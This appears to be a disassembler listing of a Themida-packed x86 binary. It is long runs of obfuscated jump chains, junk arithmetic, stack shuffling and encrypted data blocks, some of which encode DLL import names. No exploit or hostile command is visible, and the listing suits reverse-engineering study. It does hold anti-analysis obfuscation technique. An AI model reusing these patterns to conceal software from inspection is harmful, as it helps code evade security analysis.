loc_575271: ; CODE XREF: sub_574287-A785j
add esp, 4
xchg ebp, [esp+0]
mov esp, [esp+0]
bt [esp-4+arg_0], eax
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_574287
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E0B0
loc_575284: ; CODE XREF: sub_56E0B0-315Cj
push [esp+0Ch+var_8]
jmp loc_5605A4
; END OF FUNCTION CHUNK FOR sub_56E0B0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_57528D: ; CODE XREF: sub_561418+B614j
push [esp+10h+var_10]
pop eax
add esp, 4
push [esp+0Ch+var_C]
pop ebp
add esp, 4
loc_57529E: ; CODE XREF: sub_561418+A938j
; sub_561418+B493j
mov ebx, [esp+8+var_8]
push ecx
mov ecx, esp
push edx
push ebx
jmp loc_565D8B
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569CBC
loc_5752AB: ; CODE XREF: sub_569CBC-4426j
push edx
jmp loc_569B93
; END OF FUNCTION CHUNK FOR sub_569CBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5666C3
loc_5752B1: ; CODE XREF: sub_5666C3+C7FEj
mov ecx, 16F05FE7h
jmp loc_5631BF
; END OF FUNCTION CHUNK FOR sub_5666C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_5752BB: ; CODE XREF: sub_56657A+2A87j
movzx cx, al
jmp loc_56AB7D
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747FA
loc_5752C4: ; CODE XREF: sub_5747FA-5D40j
pop esi
or ecx, 11BD6FE6h
shl ecx, 7
sub esp, 4
mov [esp+0], ebx
mov ebx, 7D1469Ch
sub ebx, 28114798h
xor ecx, ebx
pop ebx
jmp loc_56D3FB
; END OF FUNCTION CHUNK FOR sub_5747FA
; ---------------------------------------------------------------------------
loc_5752EA: ; CODE XREF: Themida_:0056D399j
mov [esp], eax
jmp loc_5701DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5681F5
loc_5752F2: ; CODE XREF: sub_5681F5-4D52j
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp sub_56637E
; END OF FUNCTION CHUNK FOR sub_5681F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E81
loc_575306: ; CODE XREF: sub_570E81-86BBj
pop ebx
push ecx
jmp loc_561AC8
; END OF FUNCTION CHUNK FOR sub_570E81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56351E
loc_57530D: ; CODE XREF: sub_56351E+8DFFj
xor ecx, ebx
pop ebx
jmp loc_574E46
; END OF FUNCTION CHUNK FOR sub_56351E
; =============== S U B R O U T I N E =======================================
sub_575315 proc near ; CODE XREF: sub_56666D-55AFj
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005628AD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00563583 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005636CC SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00566EF0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567899 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00567B70 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00568A86 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056D2ED SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056F2F0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0057279F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00574D82 SIZE 0000000D BYTES
push ebx
mov ebx, 5AD2506h
dec ebx
jmp loc_5636CC
sub_575315 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574FC9
loc_575321: ; CODE XREF: sub_574FC9-48D0j
mov edx, edi
jmp loc_56F54D
; END OF FUNCTION CHUNK FOR sub_574FC9
; =============== S U B R O U T I N E =======================================
sub_575328 proc near ; CODE XREF: sub_56F782-8CE9j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00565194 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056854C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00573F72 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00574142 SIZE 00000015 BYTES
sub esp, 4
mov [esp+4+var_4], ebp
push ecx
push 5AA416Dh
mov ecx, [esp+0Ch+var_C]
add esp, 4
sub esp, 4
mov [esp+0Ch+var_C], ebp
mov ebp, 2C21744Dh
jmp loc_574142
sub_575328 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_575350: ; CODE XREF: sub_56FA15-528j
add edi, ebx
pop ebx
xchg edi, [esp+8+var_8]
jmp loc_566ACB
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568646
loc_57535B: ; CODE XREF: sub_568646+F1Dj
push ecx
jmp loc_566C3A
; END OF FUNCTION CHUNK FOR sub_568646
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB51
loc_575361: ; CODE XREF: sub_56AB51-33B0j
mov edx, 2B7A1F62h
add eax, edx
pop edx
jmp loc_574446
; END OF FUNCTION CHUNK FOR sub_56AB51
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5643EB
loc_57536E: ; CODE XREF: sub_5643EB+85E7j
sub eax, edx
pop edx
add eax, ebx
push 6ADBh
mov [esp-4+arg_0], esi
mov esi, 66EA0755h
push ebx
mov ebx, 77A4415Fh
add esi, ebx
pop ebx
xor esi, 848D5099h
jmp loc_56BF79
; END OF FUNCTION CHUNK FOR sub_5643EB
; ---------------------------------------------------------------------------
loc_575394: ; CODE XREF: Themida_:00574AD1j
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_569ABE
; =============== S U B R O U T I N E =======================================
sub_5753A5 proc near ; DATA XREF: Themida_:0055FCE8o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = word ptr 4
; FUNCTION CHUNK AT 0056274A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00563612 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00563C60 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00567758 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056A207 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056A7C1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056C1B9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056FA7D SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056FC1E SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0057166E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00572DB1 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00573D98 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005740BD SIZE 00000035 BYTES
mov cx, [esp+0]
jmp loc_57166E
sub_5753A5 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563FA2
loc_5753AE: ; CODE XREF: sub_563FA2+6DB6j
mov [esp+0], esp
jmp loc_572E93
; END OF FUNCTION CHUNK FOR sub_563FA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_5753B6: ; CODE XREF: sub_5678CB+D714j
xor ebp, 6F785F82h
dec ebp
inc ebp
xor ebp, 4CCB6AC8h
sub ecx, 420A060Ch
add ecx, ebp
add ecx, 420A060Ch
jmp loc_5682C8
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_5753D7: ; CODE XREF: sub_574A21-62E3j
mov ecx, 0FA3117B7h
add ecx, ebx
pop ebx
jmp loc_570B2A
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5634AF
loc_5753E4: ; CODE XREF: sub_5634AF+8C73j
mov ecx, [esp+0]
add esp, 4
push ebp
push eax
mov eax, 66893980h
jmp loc_5692A3
; END OF FUNCTION CHUNK FOR sub_5634AF
; ---------------------------------------------------------------------------
loc_5753F6: ; DATA XREF: Themida_:0055FCD4o
mov cx, [esp]
push edx
mov edx, esp
push edi
push esi
jmp loc_5664E5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5638E4
loc_575404: ; CODE XREF: sub_5638E4+25E6j
add edx, edi
pop edi
jmp loc_56BA49
; END OF FUNCTION CHUNK FOR sub_5638E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB51
loc_57540C: ; CODE XREF: sub_56AB51+E1Cj
mov edi, [esp+8+var_8]
add esp, 4
xor eax, [esp+4+var_4]
xor [esp+4+var_4], eax
jmp loc_571D8E
; END OF FUNCTION CHUNK FOR sub_56AB51
; =============== S U B R O U T I N E =======================================
sub_575420 proc near ; DATA XREF: Themida_:0055FD18o
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
; FUNCTION CHUNK AT 0056164C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00562C8F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00564B2D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00564B65 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00564DE6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00566406 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00567ED5 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056938E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00569D4A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056BD6A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00571E44 SIZE 0000000D BYTES
lodsb
jmp loc_56BD6A
sub_575420 endp
; ---------------------------------------------------------------------------
loc_575426: ; CODE XREF: Themida_:0056AD50j
push esi
push esp
jmp loc_561947
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5604FE
loc_57542D: ; CODE XREF: sub_5604FE+13E5Ej
push esp
pop eax
sub esp, 4
mov [esp+0Ch+var_C], edi
jmp loc_560A17
; END OF FUNCTION CHUNK FOR sub_5604FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_57543A: ; CODE XREF: sub_56241E-1CB9j
not cx
push small 5AC2h
mov word ptr [esp+0Ah+var_C+2], bx
push ecx
mov cx, 438Fh
mov bx, cx
mov ecx, [esp]
jmp loc_56580A
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_575455: ; CODE XREF: sub_56AEF2+13AFj
sub bl, ah
sub bl, 0DEh
add bl, 21h
sub bl, 64h
jmp loc_56E7D7
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561826
loc_575465: ; CODE XREF: sub_561826+3E8Aj
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_561826
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_57546A: ; CODE XREF: sub_561418+D57j
pop edx
add ecx, eax
sub ecx, 46100DC5h
push eax
mov eax, 0D477259h
sub ecx, eax
pop eax
jmp loc_572A6F
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5738F4
loc_575481: ; CODE XREF: sub_5738F4-EBD3j
add edi, 2C073315h
push ebp
jmp loc_5704FE
; END OF FUNCTION CHUNK FOR sub_5738F4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_57548D: ; CODE XREF: sub_5678CB-6349j
shr ah, 2
xor ah, 85h
add ah, 0B9h
push edx
jmp loc_56E597
; END OF FUNCTION CHUNK FOR sub_5678CB
; =============== S U B R O U T I N E =======================================
sub_57549C proc near ; DATA XREF: Themida_:0055FD30o
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560C26 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00561BA4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00561C45 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056235A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005623E7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005629EB SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00564151 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00564365 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00567577 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005677C0 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0056845A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005685E2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00568E12 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056A445 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056C416 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056E771 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056ED47 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056EE2B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056FAD1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056FFE3 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00570115 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0057048F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00570898 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00571652 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0057168C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00571A95 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00571FA6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005726A1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005730FD SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0057313B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00573897 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005739B4 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00573A9D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00573FD4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0057469F SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00574D72 SIZE 00000010 BYTES
lodsd
jmp loc_56845A
sub_57549C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B1DC
loc_5754A2: ; CODE XREF: sub_56B1DC-478Cj
add esp, 4
jmp loc_568041
; END OF FUNCTION CHUNK FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5610CE
loc_5754AD: ; CODE XREF: sub_5610CE+79A6j
not ecx
xchg ecx, [esp+8+var_8]
pop ecx
xchg ecx, esi
push ebx
mov ebx, 9AEA7065h
add esi, ebx
mov ebx, [esp+8+var_8]
add esp, 4
and ebp, esi
jmp loc_5628C4
; END OF FUNCTION CHUNK FOR sub_5610CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E05C
loc_5754CD: ; CODE XREF: sub_56E05C+21j
mov edi, 6FC75A7h
shl edi, 8
jmp loc_564E72
; END OF FUNCTION CHUNK FOR sub_56E05C
; =============== S U B R O U T I N E =======================================
sub_5754DA proc near ; DATA XREF: Themida_:0055FEBCo
var_12 = dword ptr -12h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005604D1 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00561FB4 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00563077 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056460C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056773F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00567F1F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00568424 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005696F0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056A229 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056BFC7 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056C435 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056CE82 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0056D958 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056F1FB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00570E02 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005717B7 SIZE 00000032 BYTES
lodsb
push ecx
mov ch, 63h
shr ch, 3
and ch, 0AEh
jmp loc_56BFC7
sub_5754DA endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_5754E9: ; CODE XREF: sub_563A7F+10F95j
push eax
jmp loc_569D76
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
loc_5754EF: ; CODE XREF: Themida_:00567319j
sub esp, 4
mov [esp], ebx
jmp loc_5665DB
; ---------------------------------------------------------------------------
loc_5754FD: ; CODE XREF: Themida_:005531F3j
jmp loc_575540
; ---------------------------------------------------------------------------
dw 0F570h
dd 53551491h, 32335245h, 6C6C642Eh, 56444100h, 33495041h
dd 6C642E32h, 544E006Ch, 2E4C4C44h, 6C6C64h, 707D7h, 1D0000h
dd 1C0011h, 2D0025h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_575540: ; CODE XREF: Themida_:loc_5754FDj
jmp loc_575E94
; ---------------------------------------------------------------------------
push 612A1BEh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 612A250h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 612A38Ch
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 612A4ABh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 612A508h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 612A61Ch
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 612A696h
jmp loc_5534D8
; ---------------------------------------------------------------------------
db 12h
dd 1AA11D60h, 0F87F3B72h, 15A41851h, 2793572h, 0AD9B0F4Eh
dd 42812351h, 1D5E0F86h, 39741AA1h, 184DF685h, 0D4D7A9A4h
dd 6BDEDD6Eh, 15A32986h, 0A39D3CBDh, 51D5C102h, 33B05B75h
dd 0D367FC20h, 0EB68557h, 192142CEh, 7C584A0Ch, 0CFAC88h
dd 36303F2Ch, 8FD3D127h, 44CD1BAh, 0E158B2DDh, 85D8F52Ah
dd 98936D6Eh, 47E910C7h, 0A20F035Fh, 3E792D13h, 0D8F2CE52h
dd 0F8DDE331h, 0B5C7A37Dh, 4CF6B5CBh, 0A87E38CDh, 7B24AFCCh
dd 5C039246h, 0A6B2C227h, 889CA011h, 7C11Fh, 8FD27400h
dd 0ADE49C1Bh, 0CA03AA31h, 0A7E4870Eh, 0C100A433h, 71E31F0Dh
dd 4DCC80BFh, 58DF5B9Ch, 34C377B2h, 0E7E2568Bh, 0DDAC1615h
dd 6B486BDEh, 6104D7E1h, 0B0557420h, 0B57E5B77h, 0D82DD90Eh
dd 0E4DFF41h, 1A553929h, 132F0D35h, 0F11B5239h, 0AFAB67FAh
dd 275EB09Dh, 0D4FD8301h, 517693F2h, 0DB00E664h, 0F5F24B65h
dd 865A6F2Dh, 2BDE0FB3h, 94213397h, 74B5586Fh, 9C0A480h
dd 95492D62h, 71256006h, 0CF7CB15Ah, 4A08585Bh, 2F584155h
dd 0E2000007h, 0EA71ED30h, 0C84F0B42h, 0E574E821h, 0D2490542h
dd 7D6BDF1Eh, 0F231D301h, 0CD0EBF36h, 0A9E48A11h, 0C8FDA635h
dd 64271914h, 6BDEDEDEh, 32F3B936h, 39504479h, 4A835D92h
dd 75D4EF83h, 100EEB0Bh, 3EBB5A69h, 336AE473h, 4C53h, 7932B900h
dd 2028844h, 6DCC7C44h, 41FD32D9h, 0F406D5E4h, 0FCEF6E35h
dd 522C0867h, 0F7B2E387h, 9423F04Bh, 11053CE4h, 200B5D15h
dd 9423F0A2h, 4B0AE642h, 0AFB35F94h, 0EAA01793h, 8469C3AFh
dd 0F9D8497Bh, 0D7926726h, 696h, 44793225h, 4627412Ah
dd 0BAE2604Bh, 26026DCCh, 5D890941h, 0CC6814AEh, 5074F06Dh
dd 0BCB18B7Bh, 20D5B68Ah, 0D62744BDh, 89C29C3Fh, 0C8239B30h
dd 0B5CBA0B4h, 0FC0D6DF6h, 2BD46767h, 79300AF6h, 942393C9h
dd 9615312Dh, 68CCB8EDh, 0B9938F93h, 620E4F02h, 0E675E9FEh
dd 0EF54083Dh, 0B40EFDE8h, 50942393h, 2BDEF0D4h, 9E157369h
dd 803B1511h, 7FE38FCAh, 0F168966Ah, 0F13FF40h, 92CD813Ah
dd 1B4E01B8h, 1132D270h, 1A36329Eh, 69ED0A66h, 15013CF2h
dd 3398CD76h, 40385935h, 0F3BA2BFBh, 0A6000005h, 8E0DC104h
dd 0AC2B9FD6h, 7900BCF5h, 962599D6h, 11F7B3F2h, 0A6E587F5h
dd 0C102A332h, 9DD88E0Dh, 0BCF19A21h, 78330D00h, 6BDEDFCAh
dd 32E7AD2Ah, 39504479h, 5D835D92h, 0CC7C14AEh, 5774F06Dh
dd 9F20A7h, 174CF3C6h, 39F2076Bh, 6DCC7E90h, 9830C741h
dd 0C0714450h, 0B38F937Fh, 0B710DC8Fh, 0B0F2336Bh, 58FFFFFEh
dd 7E32A9D7h, 7CEA583Fh, 730A6DCCh, 9AAF93D0h, 41356A21h
dd 0F04FEEFh, 2411A95Bh, 4C21457Ch, 0AFC11AB9h, 0FCA9E3FCh
dd 0AB1FFB67h, 9313BF56h, 0EE35C019h, 233D0F33h, 25F44E3Dh
dd 1410943Ch, 47EB4C37h, 17139E0Ch, 92D37645h, 4C5582DEh
dd 0AB7B0729h, 431214E9h, 9E2C7FFAh, 2CC9681Bh, 3F8B26E1h
dd 149C1h, 0BD150B00h, 6BC3B6B7h, 8F0CD99Ch, 0B48C2BBAh
dd 4420D40Dh, 0C65B4E20h, 0E067FC67h, 951AC184h, 94B2C23Dh
dd 85845685h, 47EA17D0h, 0B1FEF26Eh, 0E4A7B922h, 7DF9C42Ch
dd 0E37688E4h, 0C453073Ch, 9181E61Bh, 0BFA010AFh, 4D4FEE7h
dd 0E7870000h, 0FBB128A4h, 0DC9108C4h, 0FBB027A3h, 0D98B0ABEh
dd 0DC281E9Ah, 0FFBBFAAEh, 1894D578h, 0F6B2EDA1h, 1793C87Fh
dd 0E1614834h, 56BDED8h, 0BD5C1CA8h, 165D4C1Eh, 8E67FA9Ch
dd 1C09B970h, 71ED9421h, 0B0CAA65Ch, 8E4A8529h, 7C286307h
dd 0CC71A65Dh, 4A087730h, 773DA67Eh, 2A000004h, 12894588h
dd 30A7235Ah, 0D8C4079h, 1AA11D5Ah, 85833776h, 1A590B79h
dd 3576179Eh, 114C0279h, 30651E9Dh, 0FCAF917Ch, 6BDED946h
dd 327B419Eh, 0E75B4E79h, 386DCC7Ch, 0C9AD5990h, 8D795DD9h
dd 7420550Eh, 0FBDF7645h, 31B122D2h, 0AFCCFE90h, 0CC3457F4h
dd 4488836Dh, 0B6336AEEh, 4E428123h, 74AF53D2h, 0FD31F157h
dd 325BFFFFh, 63504479h, 8B758754h, 0CC7C22A0h, 665DC26Dh
dd 11FAF108h, 8B6D8A66h, 0FC80AFA0h, 213B3767h, 0A3B22A2Ch
dd 52CEC201h, 6D485465h, 85627EB9h, 0B8153BD1h, 2739A231h
dd 0ED016626h, 0CA9F3FBDh, 486EF3B6h, 0AC8867FCh, 296207D2h
dd 4D48354h, 7A7C07ABh, 0FBD00BBFh, 0BE904B6Ah, 24C19ACBh
dd 5C482436h, 718B5067h, 348A7ABAh, 8B41F82Ch, 2309344Bh
dd 193D0227h, 8E23E44h, 0BC6F9A51h, 28746106h, 645E7DEh
dd 685206EAh, 612F9396h, 6BC72874h, 0E0FD34ECh, 0D277AC53h
dd 0F65D0A34h, 6339AA7Ah, 16000003h, 0FE7D3174h, 1C9B0F46h
dd 29B02C65h, 6954986h, 0C1A72362h, 36751745h, 1152F382h
dd 2D681E9Dh, 4C812AB1h, 0E8A39D90h, 6BDEDA5Ah, 5C57DDBAh
dd 8D4C1EBDh, 0B4CCA1D6h, 0FA9C84F5h, 19106267h, 942123A9h
dd 0DBF5D14Dh, 54913605h, 6DD5C4A0h, 89942123h, 6AD8D3ADh
dd 8A942123h, 14A7B98Eh, 0B7F2986Eh, 0F2981F9Bh, 13CCCBB7h
dd 48B779DEh, 0D194A08h, 2E99Ch, 0A7EA9C00h, 0C5FCA433h
dd 0A2DB9209h, 0BFFCAF26h, 99D88C0Bh, 0A9DB2725h, 8514C807h
dd 0B027A3E4h, 8C0BBFFAh, 3F2A9ED3h, 0DAF44E3Dh, 93106BDEh
dd 0DC96D709h, 6CB4837Eh, 40772DACh, 6AFBD054h, 0A0BE904Bh
dd 473B7419h, 64150EEBh, 267FA5Ah, 0DE855426h, 4DD035A9h
dd 5951F198h, 0B9B59422h, 0C39DC39Dh, 22597AC8h, 0A9BE9A94h
dd 22595602h, 0BEB2AE94h, 3AE625C7h, 306F2198h, 4794277Ch
dd 76354B35h, 942259CCh, 8070AF61h, 7EDCC7A4h, 64942259h
dd 0EA248067h, 2249833Fh, 0E2076394h, 0E502855Ah, 0F34D3935h
dd 9792C168h, 94228A2Bh, 7F734FCBh, 560DC6A3h, 7D537521h
dd 96A9C150h, 0CCB2299h, 96D1958h, 95C067F4h, 22E82C96h
dd 886CC894h, 699E45D4h, 0EF7501BDh, 67A64A11h, 1A2B7BBh
dd 0E71CC362h, 0B4778973h, 9422E80Eh, 17CB8AE6h, 2F4C28DCh
dd 0DAC6FBA4h, 0D6CA09BBh, 5CAE9F81h, 218403C2h, 0A1558A41h
dd 0F7CCA1C5h, 0D9607E58h, 2D09FD32h, 2225C47Eh, 27442094h
dd 0E1C8F3ACh, 94222561h, 11CDA985h, 0FAB1E68Ah, 94222548h
dd 0E094B0ACh, 4BFDC8CCh, 0CA81180Ch, 45EAE195h, 0D1701308h
dd 13B291EBh, 0E0845E12h, 254200ABh, 0C6A29422h, 567AF6AAh
dd 72B153E2h, 2863077Eh, 6A946A7Ch, 222503BFh, 0D087E394h
dd 2F33DF1Ah, 4BEA891Ah, 0D00BBF99h, 0E35F4A24h, 3942225h
dd 55274B27h, 25C2802Bh, 9009422h, 942225B9h, 7A11015Dh
dd 88EC98D5h, 50C78F6Ch, 38ED6C97h, 25AA18FFh, 49159422h
dd 66C41265h, 0D188E49Ch, 1400E41Bh, 0B503A345h, 7312A14Dh
dd 8C4F9B2h, 0F1A5DA91h, 0CE03BC7Fh, 1ED5EE9h, 0B0CD0193h
dd 4E428123h, 6C1F411Bh, 2CB746D6h, 0EA3B69F9h, 6D255A3Bh
dd 8175B056h, 660AC1A5h, 0E2F77B27h, 0DC83A241h, 374933A7h
dd 0B7C1CE74h, 6EAD5F2Ch, 72EE9E82h, 0F025DE55h, 0B328AF04h
dd 0BB49F299h, 61BD2687h, 3EED13EDh, 56A7CF84h, 96E70460h
dd 1FA3667Fh, 0F756A7CFh, 0CA07BC7Bh, 64765AD6h, 0E4EF2FD5h
dd 45267B5Eh, 0F26E223Eh, 550803D5h, 0ED5C91EBh, 5D068571h
dd 0E99DDA8Dh, 6997698Dh, 15013CF2h, 0ABD86A11h, 0E03C5894h
dd 1BC4530Bh, 0A56B3AE6h, 9627130Ch, 0CAC1B5F0h, 0C336EA23h
dd 0A47745DCh, 6BD64FBh, 7B578E36h, 5A8F38BFh, 6305D4A6h
dd 0D78C4724h
dd 57F9C09Ah, 44434318h, 16B561A0h, 0C413570h, 42F4D877h
dd 5A1110AFh, 0DA904B25h, 71255C04h, 42FCD1F5h, 5D70CB3h
dd 0A1559036h, 0BC109FBCh, 678BD3D5h, 23039492h, 2D000000h
dd 35342240h, 9F2CC633h, 0BD5BC0Fh, 9695678Bh, 4F194A2Ch
dd 0B58F6CC8h, 0F49A215Fh, 0F4E02B9h, 8032723Ah, 9952493Dh
dd 7519B064h, 9E4F463Ah, 7E32A95Dh, 9034533Fh, 8126A551h
dd 94395044h, 7830A75Bh, 57CF5541h, 0C781E789h, 4, 8704EF83h
dd 895C243Ch, 8950240Ch, 405E0h, 0E8830000h, 24048704h
dd 243C895Ch, 65C368h, 242C8900h, 12A12068h, 243C8B06h
dd 5404C483h, 83242C8Bh, 815704C4h, 34D42434h, 458F4A9Ah
dd 0D4BF5708h, 314A9A34h, 8B5F087Dh
; ---------------------------------------------------------------------------
sub al, 24h
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov edi, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_5534D8
; ---------------------------------------------------------------------------
dw 0B7BDh
; ---------------------------------------------------------------------------
loc_575E94: ; CODE XREF: Themida_:loc_575540j
mov eax, 612A9A4h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
